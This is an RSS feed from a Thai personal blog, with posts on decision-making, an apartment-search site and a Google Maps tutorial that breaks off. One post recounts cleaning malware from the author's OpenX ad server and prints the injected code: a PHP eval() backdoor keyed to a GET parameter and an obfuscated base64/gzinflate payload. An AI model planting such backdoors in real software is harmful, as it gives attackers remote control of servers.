<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tanomsak.com</title>
	<atom:link href="http://www.tanomsak.com/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tanomsak.com</link>
	<description>Random Thoughts on Random Things by Tanomsak</description>
	<lastBuildDate>Sun, 23 May 2010 08:39:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Regret Minimization Framework</title>
		<link>http://www.tanomsak.com/index.php/2010/05/regret-minimization-framework/</link>
		<comments>http://www.tanomsak.com/index.php/2010/05/regret-minimization-framework/#comments</comments>
		<pubDate>Sun, 23 May 2010 08:39:03 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[คิดอะไรไปเรื่อยเปื่อย]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=437</guid>
		<description><![CDATA[วันนี้อ่าน blog ของคุณ Tony Wright เรื่องการตัดสินใจลาออกจาก CEO ของ RescueTime เลยได้ดู บทสัมภาษส์ Jeff Bezos ผู้ก่อตั้ง Amazon ลองดู Video ข้างล่างครับ Jeff เล่าถึงตอนเค้าลาออกจากบริษัทเก่า ก่อนมาก่อตั้ง Amazon ว่า ถ้าเค้าลองคิดถึงในอนาคต ว่าตอนเค้าอายุ 80 ปี แล้วมองย้อนกลับมา การตัดสินใจแบบไหน จะให้เค้าเสียใจน้อยที่สุด และเรียกขบวนการคิดแบบนี้ว่า &#8220;Regret Minimization Framework&#8221; พอดูแล้วทำให้คิดถึงเรื่องนึงในอดีตครับ คือมีเพื่อนผมคนนึงเคยมาปรึกษา ปัญหาคือเพื่อนผมเค้าสอบติดนักบินของสายการบินหนึ่ง และกำลังตัดสินใจว่าจะตกลงใจเซ็นสัญญาเข้าเรียนและเดินไปในอาชีพนักบินดีหรือไม่ ดูเผินๆเหมือนจะดีนะครับ สอบได้นักบิน ทั้งเท่และรายได้ดี แต่ปัญหาคือ การจะเป็นนักบินต้องมี commitment สูงมาก ค่าใช้จ่ายในการเรียนว่าที่นักบินต้องเซ็นสัญญากู้เพื่อมาเรียน หลายล้านบาท และ ติดสัญญากับสายการบินเป็นระยะเวลาหลายปีเพื่อผ่อนใช้ค่าเรียน ซึ่งจริงๆแล้วสามารถจ่ายได้สบายมาก เนื่องจากรายได้สูงมาก ลอง สมมติว่าต้องผ่อนอยู่ 10 ปี [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="width: 100%; margin-bottom: 30px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2010%2F05%2Fregret-minimization-framework%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2010%2F05%2Fregret-minimization-framework%2F&amp;source=tanomsak&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>วันนี้อ่าน blog ของคุณ <a title="http://www.tonywright.com/2010/stepping-down-as-ceo-of-rescuetime/" href="http://">Tony Wright</a> เรื่องการตัดสินใจลาออกจาก CEO ของ <a href="http://www.rescuetime.com/">RescueTime</a> เลยได้ดู บทสัมภาษส์ Jeff Bezos ผู้ก่อตั้ง Amazon ลองดู Video ข้างล่างครับ</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/jwG_qR6XmDQ&amp;feature" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/jwG_qR6XmDQ&amp;feature"></embed></object></p>
<p>Jeff เล่าถึงตอนเค้าลาออกจากบริษัทเก่า ก่อนมาก่อตั้ง Amazon ว่า ถ้าเค้าลองคิดถึงในอนาคต ว่าตอนเค้าอายุ 80 ปี แล้วมองย้อนกลับมา การตัดสินใจแบบไหน จะให้เค้าเสียใจน้อยที่สุด และเรียกขบวนการคิดแบบนี้ว่า &#8220;Regret Minimization Framework&#8221;</p>
<p>พอดูแล้วทำให้คิดถึงเรื่องนึงในอดีตครับ คือมีเพื่อนผมคนนึงเคยมาปรึกษา ปัญหาคือเพื่อนผมเค้าสอบติดนักบินของสายการบินหนึ่ง และกำลังตัดสินใจว่าจะตกลงใจเซ็นสัญญาเข้าเรียนและเดินไปในอาชีพนักบินดีหรือไม่</p>
<p>ดูเผินๆเหมือนจะดีนะครับ สอบได้นักบิน ทั้งเท่และรายได้ดี แต่ปัญหาคือ การจะเป็นนักบินต้องมี commitment สูงมาก ค่าใช้จ่ายในการเรียนว่าที่นักบินต้องเซ็นสัญญากู้เพื่อมาเรียน หลายล้านบาท และ ติดสัญญากับสายการบินเป็นระยะเวลาหลายปีเพื่อผ่อนใช้ค่าเรียน ซึ่งจริงๆแล้วสามารถจ่ายได้สบายมาก เนื่องจากรายได้สูงมาก</p>
<p>ลอง สมมติว่าต้องผ่อนอยู่ 10 ปี คุณมั่นใจไหมครับ ว่าจะทำงานหนึ่งๆอย่างมีความสุขได้ 10 ไม่ออก ไม่อยากเปลี่ยนงาน? นั้นแหละครับปัญหา เพื่อนผมก็ไม่มั่นใจว่ารักในการเป็นนักบินไหม และถ้าไม่ชอบเป็นนักบินจะทำยังไง เงินก็กู้ไปแล้ว</p>
<p>ในที่สุดเค้าก็ตัดสินใจไม่เป็นนักบิน เพราะเมื่อเทียบกันความเสียใจ ระหว่าง ติดสัญญา 10+ ทนทำในสิ่งที่เค้า &#8220;อาจ&#8221; ไม่ชอบ กับ ความเสียใจ ที่ไม่ได้รายได้สูงๆแบบนักบิน เค้าคิดว่าเค้าทนไม่ได้กับข้อแรกมากกว่า แต่นั้นก็เป็นการตัดสินใจหนึ่งของคนหนึ่งนะครับ</p>
<h3><strong>ถ้าใครมีปัญหายากๆต้องตัดสินใจ ลองถามตัวเองดูนะครับว่า ในกรณีที่แย่ที่สุดของทุกทางเลือก ทางเลือกไหนทำให้เราเสียใจน้อยที่สุด</strong></h3>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/05/regret-minimization-framework/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>เมื่อเวป ddproperty.com โดนระบุว่าเป็นอันตราย!!</title>
		<link>http://www.tanomsak.com/index.php/2010/03/%e0%b9%80%e0%b8%a1%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b9%80%e0%b8%a7%e0%b8%9b-ddproperty-com-%e0%b9%82%e0%b8%94%e0%b8%99%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%b8%e0%b8%a7%e0%b9%88%e0%b8%b2%e0%b9%80%e0%b8%9b/</link>
		<comments>http://www.tanomsak.com/index.php/2010/03/%e0%b9%80%e0%b8%a1%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b9%80%e0%b8%a7%e0%b8%9b-ddproperty-com-%e0%b9%82%e0%b8%94%e0%b8%99%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%b8%e0%b8%a7%e0%b9%88%e0%b8%b2%e0%b9%80%e0%b8%9b/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 13:26:30 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Project]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=418</guid>
		<description><![CDATA[เมื่อวันที่ 22 มีนาคม เกิดปัญหาขึ้นกับเวป ddproperty.com ครับ เรื่องของเรื่องมีอยู่ว่า Chrome ไม่ยอมให้ผมเข้าเวป โดยแจ้งว่า อาจจะติด Malware ได้ ปฎิกิริยาแรกคือ เหงื่อตก &#8211; -&#8221; โดนอะไรเข้า (วะ) เนี้ย พอลองหาข้อมูลดู เลยพบว่าเวปเราโดน Google เข้าใจว่ามีการเรียกเวปที่เป็น Trojan จากเวป ddproperty.com บางหน้า Google ก็บอกให้ไปดู Guide line ยาวเยียดเลย พอผมบ่นไปทาง twitter คุณ @iampz แนะนำมาว่าให้เข้าไปดูใน Webmaster Tool ผมเลยได้แบะแสว่ามันมาจาก openx (ขอบคุณ @iampz อีกทีครับ) เพราะใน section Labs ของ Webmaster Tool แจ้งว่า openx code เป็นปัญหา [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="width: 100%; margin-bottom: 30px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2010%2F03%2F%25e0%25b9%2580%25e0%25b8%25a1%25e0%25b8%25b7%25e0%25b9%2588%25e0%25b8%25ad%25e0%25b9%2580%25e0%25b8%25a7%25e0%25b8%259b-ddproperty-com-%25e0%25b9%2582%25e0%25b8%2594%25e0%25b8%2599%25e0%25b8%25a3%25e0%25b8%25b0%25e0%25b8%259a%25e0%25b8%25b8%25e0%25b8%25a7%25e0%25b9%2588%25e0%25b8%25b2%25e0%25b9%2580%25e0%25b8%259b%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2010%2F03%2F%25e0%25b9%2580%25e0%25b8%25a1%25e0%25b8%25b7%25e0%25b9%2588%25e0%25b8%25ad%25e0%25b9%2580%25e0%25b8%25a7%25e0%25b8%259b-ddproperty-com-%25e0%25b9%2582%25e0%25b8%2594%25e0%25b8%2599%25e0%25b8%25a3%25e0%25b8%25b0%25e0%25b8%259a%25e0%25b8%25b8%25e0%25b8%25a7%25e0%25b9%2588%25e0%25b8%25b2%25e0%25b9%2580%25e0%25b8%259b%2F&amp;source=tanomsak&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>เมื่อวันที่ 22 มีนาคม เกิดปัญหาขึ้นกับเวป ddproperty.com ครับ เรื่องของเรื่องมีอยู่ว่า Chrome ไม่ยอมให้ผมเข้าเวป โดยแจ้งว่า อาจจะติด Malware ได้ ปฎิกิริยาแรกคือ เหงื่อตก &#8211; -&#8221; โดนอะไรเข้า (วะ) เนี้ย</p>
<p>พอลองหาข้อมูลดู เลยพบว่าเวปเราโดน Google เข้าใจว่ามีการเรียกเวปที่เป็น Trojan จากเวป ddproperty.com บางหน้า Google ก็บอกให้ไปดู Guide line ยาวเยียดเลย พอผมบ่นไปทาง twitter คุณ <a href="http://twitter.com/iampz/">@iampz</a> <a href="http://twitter.com/iampz/statuses/10874122643">แนะนำ</a>มาว่าให้เข้าไปดูใน Webmaster Tool ผมเลยได้แบะแสว่ามันมาจาก openx (ขอบคุณ @iampz อีกทีครับ) เพราะใน section Labs ของ Webmaster Tool แจ้งว่า openx code เป็นปัญหา</p>
<p style="text-align: center;"><a href="http://www.tanomsak.com/wp-content/uploads/2010/03/malware-e1269337353820.png"><img class="aligncenter size-full wp-image-422" title="malware" src="http://www.tanomsak.com/wp-content/uploads/2010/03/malware-e1269337353820.png" alt="" width="640" height="400" /></a></p>
<p><span id="more-418"></span></p>
<p>แต่เนื่องจากผมไม่ได้มีความรู้อะไรกับ openx เลยนอกจาก ลงตาม installation wizard ที่แสนจะง่าย บวกกับความรู้ php แค่หางอึ่ง งานหนักเลยเป็นการค้นหาว่าตัวปัญหามันอยู่ที่ไหน สุดท้ายไปเจอ blog ของท่านหนึ่งเขียนไว้เรื่อง<a href="http://www.legitreviews.com/news/7632/">ปัญหาความปลอดภัยของ openx </a>ผมเลยสามารถแก้ปัญหาได้</p>
<p>เผื่อมีประโยชน์กับท่านอื่นๆ ผมขอเล่าประสบการณ์ให้ฟังครับ</p>
<ol>
<li>ปัญหาที่เจอคือมีการแก้ไข plugin ของ openx ให้ไปเรียกเวป ads.is ซึ่งเป็นตัว distribute พวกเวป trojan อีกทีครับ</li>
<li>files แรก ที่ผมเจอว่ามีปัญหาคือ  ./openx/var/plugins/cache/mergedDeliveryFunctions.php โดยมี code แปลกปลอมแบบนี้แปะเพิ่มมาครับ อันนี้หาเจอเพราะว่าดูจาก blog ข้างต้นครับ<br />
<code><br />
$urlw = "http://stats.ads.is/stats?counter=128";<br />
$asiebc = 'ade93d134c231cea7b0b5619bff4f82f';<br />
if (isset($_GET['dothis']) &amp;&amp; (md5($_GET['code'])==$asiebc)) eval($_GET['dothis']);<br />
if (strpos($_SERVER['REQUEST_URI'],"/afr.php") or strpos($_SERVER['REQUEST_URI'],"/adframe.php")) {<br />
if (!isset($_COOKIE['OADSA'])) {<br />
setcookie("OADSA", 1, time()+3600);<br />
echo "\n";<br />
}<br />
} elseif (strpos($_SERVER['REQUEST_URI'],"/ajs.php") or strpos($_SERVER['REQUEST_URI'],"/spcjs.php") or strpos($_SERVER['REQUEST_URI'],"/adjs.php")) {<br />
if (!isset($_COOKIE['OADSA'])) {<br />
setcookie("OADSA", 1, time()+3600);<br />
echo "document.write('');\n";<br />
}<br />
}<br />
</code></li>
<li>file ที่สองที่พบปัญหาคือ ./openx/plugins/bannerTypeHtml/oxHtml/genericHtml.delivery.php โดยมี eval พวก encode แปลกๆแปะไว้ยาวมาก<br />
<code><br />
if (basename($_SERVER['PHP_SELF'])=='genericHtml.delivery.php') {<br />
eval(gzinflate(base64_decode("FJ3HjtvYFkX/5Y0McMCchoxiznnywCjmnL++VUAbaMC2LF6ds/daUkkqz7T/932bserTvfyXpVtJYP8vynwqyn//ExVUylcrF7qowmMCUL9ZZ3DeKDGOnk1Dnt+KBQLm7CJhC9EICZOyqG34CRI0MazSdqLnrYHwwcYSbT3Ao7ogAPq072d9Aaqg7bhMedE0FvfSeHgr3LN3pbg0ZDHcFZBQGG0Ga8wzNuW+KY1CrW5S1dWBYd+Z76rHKNon5IYQ0IfQd5BFJvvsHc4ltxVxBUdciM ....</code></li>
<li>พอลบสอง files นี้ไปแล้ว ก็ขอให้ Google Review เวปเราใหม่ โดยภายใน 6-8 ชั่วโมง Google ก็จะเข้ามา index แล้ว review ถ้าไม่เจอปัญหาก็จะเอาข้อความเตือนออกให้ครับ ตรงข้อนี้ผมเสียเวลาไปเยอะ เนื่องจากตอนแรกยังหาปัญหาไม่เจอ แต่ว่าดันขอ review ไปก่อน พอ Google ยังเจอปัญหาอยู่เลยต้องรอ review รอบใหม่</li>
<li>เท่าที่ลองหาข้อมูลดู openx version เก่าๆ มีปัญหาเรื่องความปลอดภัยอยู่ ทำให้ hacker ใช้จู่โจมและวาง code พวกนี้ในเครื่องเราได้ครับ upgrade จรเป็น version ใหม่ๆดีกว่าครับ</li>
<li>จริงๆปัญหาพวกนี้เราสามารถป้องกันได้ ทั้งการ upgrade openx อยู่เสมอ หรือว่าคอยตรวจสอบ log file เพื่อดูว่ามีการเปลี่ยนแปลงอะไรในระบบบ้าง เนื่องจากจริงๆ ผมโดนวางยาตั้งแต่กลางเดือนกุมภาพันธ์แล้วครับ ถ้าใส่ใจดูแลหน่อยก็คงเห็น log เรื่อง update plugin แปลกๆที่เราไม่ได้ทำไปนานแล้วครับ</li>
</ol>
<p>จบเรื่องนี้ไป ผมได้ความรู้ใหม่ไปหลายอย่าง และได้ตระหนักว่า งาน system admin มีความสำคัญไม่แพ้งาน develop เลยครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/03/%e0%b9%80%e0%b8%a1%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b9%80%e0%b8%a7%e0%b8%9b-ddproperty-com-%e0%b9%82%e0%b8%94%e0%b8%99%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%b8%e0%b8%a7%e0%b9%88%e0%b8%b2%e0%b9%80%e0%b8%9b/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>ทำเวปใหม่ allapartment.in.th</title>
		<link>http://www.tanomsak.com/index.php/2010/03/%e0%b8%97%e0%b8%b3%e0%b9%80%e0%b8%a7%e0%b8%9b%e0%b9%83%e0%b8%ab%e0%b8%a1%e0%b9%88-allapartment-in-th/</link>
		<comments>http://www.tanomsak.com/index.php/2010/03/%e0%b8%97%e0%b8%b3%e0%b9%80%e0%b8%a7%e0%b8%9b%e0%b9%83%e0%b8%ab%e0%b8%a1%e0%b9%88-allapartment-in-th/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 12:26:49 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Project]]></category>
		<category><![CDATA[Web design]]></category>
		<category><![CDATA[คิดอะไรไปเรื่อยเปื่อย]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=394</guid>
		<description><![CDATA[ตอนนี้พวกเราที่ ddproperty.com กำลังพัฒนาเวปใหม่อยู่ครับ วันนี้ผมขอเล่า idea ของเวปนี้ให้ฟังครับ และขอรับฟังความคิดเห็นของทุกคนครับ เป็นเวปค้นหาอพาร์ทเม้นท์ ชื่อ allapartment.in.th ครับ ขอเริ่มต้นจากปัญหาก่อนครับ เคยต้องหาอพาร์ทเม้นท์ใหม่ไหมครับ ตอนเวลาย้ายที่ทำงานหรือตอนเข้าเรียนใหม่ อย่างถ้าต้องการหาอพาร์เม้นท์ ใกล้ที่ทำงานใหม่แถวๆ รามอินทรา เราอาจจะหาใน Google ด้วยคำว่า &#8220;อพาร์ทเม้น รามอินทรา&#8221; เราก็จะได้ผลการค้นหาประมาณนี้ Google เจอผลการค้นหา 1,100,000 เวป ที่เยอะขนาดนี้เพราะว่ามันซ้ำกัน ส่วนใหญ่เราก็ลองเปิดดูอันบนๆ แล้วก็ลองค้นหาใหม่ด้วยคำอื่น ถ้าผมมีความต้องการเฉพาะเจาะจงมากขึ้น เช่น ผมต้องใช้งาน Internet ตลอดเวลา เลยอยากหาห้องที่มี WIFI ด้วย การหาด้วย keyword &#8220;อพาร์ทเม้น รามอินทรา WIFI&#8221; ใน Google ก็ได้ผลการค้นหาออกมาไม่น่าพอใจเท่าไหร่ ที่เป็นอย่างนี้เพราะว่าการทำงานของ Google เน้นการค้นหาตาม keyword เป็นหลัก และออกแบบมา เพื่อค้นหาเวปโดยเท่าๆไป ไม่ได้ออกแบบมาค้นหาเรื่องใดเรื่องหนึ่งโดยเฉพาะ จึง (ยัง)ไม่ค่อยเก่งในการหาข้อมูลแบบเฉพาะเจาะจงในลักษณะนี้ [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="width: 100%; margin-bottom: 30px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2010%2F03%2F%25e0%25b8%2597%25e0%25b8%25b3%25e0%25b9%2580%25e0%25b8%25a7%25e0%25b8%259b%25e0%25b9%2583%25e0%25b8%25ab%25e0%25b8%25a1%25e0%25b9%2588-allapartment-in-th%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2010%2F03%2F%25e0%25b8%2597%25e0%25b8%25b3%25e0%25b9%2580%25e0%25b8%25a7%25e0%25b8%259b%25e0%25b9%2583%25e0%25b8%25ab%25e0%25b8%25a1%25e0%25b9%2588-allapartment-in-th%2F&amp;source=tanomsak&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>ตอนนี้พวกเราที่ <a href="http://www.ddproperty.com/">ddproperty.com</a> กำลังพัฒนาเวปใหม่อยู่ครับ วันนี้ผมขอเล่า idea ของเวปนี้ให้ฟังครับ และขอรับฟังความคิดเห็นของทุกคนครับ เป็นเวปค้นหาอพาร์ทเม้นท์ ชื่อ<a title="ค้นหา อพาร์ทเม้นท์ ให้เช่า" href="http://www.allapartment.in.th" target="_blank"> allapartment.in.th</a> ครับ</p>
<h2>ขอเริ่มต้นจากปัญหาก่อนครับ</h2>
<p>เคยต้องหาอพาร์ทเม้นท์ใหม่ไหมครับ ตอนเวลาย้ายที่ทำงานหรือตอนเข้าเรียนใหม่ อย่างถ้าต้องการหาอพาร์เม้นท์ ใกล้ที่ทำงานใหม่แถวๆ รามอินทรา เราอาจจะหาใน Google ด้วยคำว่า &#8220;อพาร์ทเม้น รามอินทรา&#8221; เราก็จะได้ผลการค้นหาประมาณนี้</p>
<p><a href="http://www.tanomsak.com/wp-content/uploads/2010/03/download.png"><img class="aligncenter size-full wp-image-395" title="ผลการค้นหา" src="http://www.tanomsak.com/wp-content/uploads/2010/03/download-e1268210654640.png" alt="" width="600" height="312" /></a><span id="more-394"></span></p>
<p>Google เจอผลการค้นหา 1,100,000 เวป ที่เยอะขนาดนี้เพราะว่ามันซ้ำกัน ส่วนใหญ่เราก็ลองเปิดดูอันบนๆ แล้วก็ลองค้นหาใหม่ด้วยคำอื่น</p>
<p>ถ้าผมมีความต้องการเฉพาะเจาะจงมากขึ้น เช่น ผมต้องใช้งาน Internet ตลอดเวลา เลยอยากหาห้องที่มี WIFI ด้วย การหาด้วย keyword &#8220;อพาร์ทเม้น รามอินทรา WIFI&#8221; ใน Google ก็ได้ผลการค้นหาออกมาไม่น่าพอใจเท่าไหร่</p>
<p>ที่เป็นอย่างนี้เพราะว่าการทำงานของ Google เน้นการค้นหาตาม keyword เป็นหลัก และออกแบบมา เพื่อค้นหาเวปโดยเท่าๆไป ไม่ได้ออกแบบมาค้นหาเรื่องใดเรื่องหนึ่งโดยเฉพาะ จึง (ยัง)ไม่ค่อยเก่งในการหาข้อมูลแบบเฉพาะเจาะจงในลักษณะนี้ ปัจจุบัน Google เลยยังไม่สามารถตอบโจทย์ได้ทั้งหมด ซึ่งเป็นโอกาสของเวปที่เน้นการค้นหาข้อมูลเฉพาะด้าน</p>
<p>นอกจากหา Google เราอาจจะเข้าไปดูตามเวปที่รวบรวมอพาร์เม้นท์โดยเฉพาะที่มีในปัจจุบัน ซึ่งส่วนใหญ่ยังค้นหาไม่สะดวกนัก ซึ่งเป็นไปในลักษณะคล้ายๆกับเวปอสังหาฯอื่น เช่นเดียวกับ ตอนเราเริ่มทำเวป ddproperty.com เมื่อ 2 ปีก่อน พวกเราเลยคิดทำเวปค้นหาอพาร์ทเม้นท์ขึ้น และเป็นที่มาของเวป allapartment.in.th ครับ</p>
<h2>ทีนี้เวป allapartment.in.th จะออกมาเป็นยังไง</h2>
<p>ความตั้งใจของเรากับเวป allapartment.in.th คือ  <span style="text-decoration: underline;"><strong>การใช้งานง่าย</strong></span> ซึ่งต้องหมายถึงค้นหาเจอง่าย และดูข้อมูลง่าย การออกแบบทั้งหมดเลยเน้นเรื่องการใช้งานของผู้ค้นหาและผู้ลงประกาศเป็นหลัก แนวคิดหลักของเราเป็นแบบนี้ครับ</p>
<ul>
<li>เวลาหาที่พัก ทำเลที่ตั้งเป็นปัจจัยหลักในการตัดสินใจ ในเวปนี้เราจะเน้นข้อมูลว่าอพาร์ทเม้นท์นี้อยู่ทำเลแถวไหน และห่างจากที่ำทำงาน หรือสถานศึกษาของผู้ค้นหาเท่าไหร่</li>
<li>การค้นหาและแสดงผล ในทำเล &#8220;มหาวิทยาลัยเกษตรศาสตร์&#8221;  ต้องสามารถเรียงตามระยะทางจากมหาวิทยาลัยได้ และต้อง Filter ตามคุณสมบัติเช่น WIFI, UBC ได้</li>
<li>การแสดงผลต้องอ่านง่ายไม่รกตา</li>
</ul>
<p>ถ้าทำสามข้อข้างบนได้ดี คิดว่าน่าจะมีประโยชน์ และใช้งานง่ายอย่างที่ตั้งใจ</p>
<p>แต่จะว่าไป เรื่องข้างบนผมว่าทำง่ายครับเมื่อเทียบกับ การทำยังไงให้มีข้อมูลอพาร์ืทเม้นท์เยอะพอที่จะมีประโยชน์ในการค้นหา เรื่องข้อมูลเป็นเรื่องสำคัญอย่างมาก ไม่งั้นใครๆก็คงไปใช้งาน Google เหมือนเดิมเพราะ Google มี 1,100,000 ผลการค้นหา <img src='http://www.tanomsak.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  นี่นา</p>
<p>ทุกท่านมี idea ยังไงบ้างครับ ว่าจะทำยังไงให้มีข้อมูลอพาร์ทเม้นท์ครบถ้วน ถ้าให้ review อพาร์ทเม้นท์ที่เคยพักจะมีคน review ไหมครับ</p>
<p>ข้างล่างเป็น screenshot ของหน้าเวปที่กำลังพัฒนาครับ</p>
<p style="text-align: center;"><a title="screenshot allapartment.in.th" href="http://www.tanomsak.com/wp-content/uploads/2010/03/download-1-e1268480184598.png"><img class="aligncenter size-full wp-image-400" style="border: 1px solid #DDD;" title="download-1" src="http://www.tanomsak.com/wp-content/uploads/2010/03/download-1-e1268480184598.png" alt="" width="550" height="249" /></a></p>
<p style="text-align: center;"><a href="http://www.tanomsak.com/wp-content/uploads/2010/03/download-21-e1268481434454.png"><img class="aligncenter size-full wp-image-406" style="margin-top: 10px; margin-bottom: 10px; border: 1px solid #dddddd;" title="screenshot" src="http://www.tanomsak.com/wp-content/uploads/2010/03/download-21-e1268481434454.png" alt="" width="550" height="838" /></a><a href="http://www.tanomsak.com/wp-content/uploads/2010/03/download-31-e1268481495881.png"><img class="aligncenter size-full wp-image-405" style="border: 1px solid #DDD;" title="screenshot2" src="http://www.tanomsak.com/wp-content/uploads/2010/03/download-31-e1268481495881.png" alt="" width="550" height="911" /></a></p>
<p style="text-align: center;">
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/03/%e0%b8%97%e0%b8%b3%e0%b9%80%e0%b8%a7%e0%b8%9b%e0%b9%83%e0%b8%ab%e0%b8%a1%e0%b9%88-allapartment-in-th/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>การหาเส้นทางโดย Google Maps API (GDirections)</title>
		<link>http://www.tanomsak.com/index.php/2010/01/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2%e0%b9%80%e0%b8%aa%e0%b9%89%e0%b8%99%e0%b8%97%e0%b8%b2%e0%b8%87%e0%b9%82%e0%b8%94%e0%b8%a2-google-maps-api-gdirection/</link>
		<comments>http://www.tanomsak.com/index.php/2010/01/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2%e0%b9%80%e0%b8%aa%e0%b9%89%e0%b8%99%e0%b8%97%e0%b8%b2%e0%b8%87%e0%b9%82%e0%b8%94%e0%b8%a2-google-maps-api-gdirection/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 06:06:56 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=377</guid>
		<description><![CDATA[เมื่อสองสามวันก่อน มี comment ถามมาว่า &#8220;อยากทราบว่าสามารถทำ google map บอกระยะทางได้ไหมค่ะ เช่น จากกรุงเทพไปเชียงใหม่เป็นระยะทางเท่าไหร่&#8221; ผมก็ตอบไปสั้นๆ วันนี้ขอขยายความเรื่องการหาเส้นทาง และการหาระยะทางจากจุดสองจุดในโดยใช้ Google Maps API ครับ เรื่องนี้เป็นเรื่องที่หลายๆคนสนใจ และเวปใหม่ที่ผมกำลังซุ่มทำอยู่ก็ใช้เยอะมากครับ ใครอ่านภาษาอังกฤษคล่อง และต้องการข้อมูลแบบละเอียด ผมแนะน ลองอ่าน document ของ Google นะครับ http://code.google.com/apis/maps/documentation/services.html#Directions เรามาเริ่มกันเลยดีกว่าครับ อ้อ! วิธีการข้างล่างจะเ็ป็นของ API v2 นะครับ เพราะว่าคนส่วนใหญ่คงยังใช้งาน version 2 กันอยู่ &#60;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Strict//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&#34;&#62; &#60;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34; xmlns:v=&#34;urn:schemas-microsoft-com:vml&#34;&#62; &#60;head&#62; &#60;title&#62;Google Maps JavaScript API Example: Simple [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="width: 100%; margin-bottom: 30px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2010%2F01%2F%25e0%25b8%2581%25e0%25b8%25b2%25e0%25b8%25a3%25e0%25b8%25ab%25e0%25b8%25b2%25e0%25b9%2580%25e0%25b8%25aa%25e0%25b9%2589%25e0%25b8%2599%25e0%25b8%2597%25e0%25b8%25b2%25e0%25b8%2587%25e0%25b9%2582%25e0%25b8%2594%25e0%25b8%25a2-google-maps-api-gdirection%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2010%2F01%2F%25e0%25b8%2581%25e0%25b8%25b2%25e0%25b8%25a3%25e0%25b8%25ab%25e0%25b8%25b2%25e0%25b9%2580%25e0%25b8%25aa%25e0%25b9%2589%25e0%25b8%2599%25e0%25b8%2597%25e0%25b8%25b2%25e0%25b8%2587%25e0%25b9%2582%25e0%25b8%2594%25e0%25b8%25a2-google-maps-api-gdirection%2F&amp;source=tanomsak&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
